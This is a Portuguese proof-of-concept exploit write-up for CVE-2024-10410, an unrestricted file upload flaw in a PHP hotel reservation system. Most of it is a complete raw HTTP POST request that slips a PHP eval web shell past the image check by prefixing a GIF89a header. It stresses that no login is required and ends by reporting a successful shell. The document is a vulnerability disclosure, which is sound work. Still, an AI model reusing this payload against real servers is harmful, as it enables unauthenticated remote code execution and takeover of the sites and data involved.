
Exploit de prova de conceito para CVE-2024-10410: upload de arquivo irrestrito no Sistema de Reserva de Hotéis Online. Demonstra bypass da validação de imagem via injeção de cabeçalho GIF para alcançar execução remota de código.
Online Hotel Reservation System em PHP/MySQLi com Código Fonte | SourceCodester
Uma vulnerabilidade de alto risco foi encontrada no Online Hotel Reservation System, afetando a função de upload do arquivo /marimar/admin/mod_room/controller.php. A operação de bypass na detecção do parâmetro de imagem resultou em upload ilimitado de arquivos. Os ataques podem ser lançados remotamente.
marimar\admin\mod_room\controller.php

Após o upload do arquivo, a variável $image_name altera o nome do arquivo para o ano, mês e dia atuais, depois adiciona _ e o nome do arquivo enviado.
A vulnerabilidade está na variável $image_size, que detecta se é um arquivo de imagem e, caso contrário, desabilita o upload. Então, tudo o que precisamos fazer é adicionar o cabeçalho da imagem na frente do arquivo malicioso injetado para contornar a detecção.
POST http://localhost/marimar/admin/mod_room/controller.php?action=add HTTP/1.1
Host:
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQkzg4xV416LmyFO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.151.167.168/marimar/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: keep-alive
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOM"
test
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMDESC"
123123
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="NUMPERSON"
4
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="PRICE"
112
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMNUM"
1
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png
GIF89a
<?php eval($_POST['k1nako']);?>
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryAQkzg4xV416LmyFO--
O código malicioso foi precedido por GIF89a disfarçado como um gif. Construa o pacote de upload e você pode ver que o cookie é deletado, indicando que o sistema não possui autenticação e pode lançar ataques remotamente.

Embora tenha sido um aviso, o arquivo foi enviado com sucesso, e o nome do arquivo foi inferido com base na hora atual de 2024/10/25 21:55.


Getshell bem-sucedido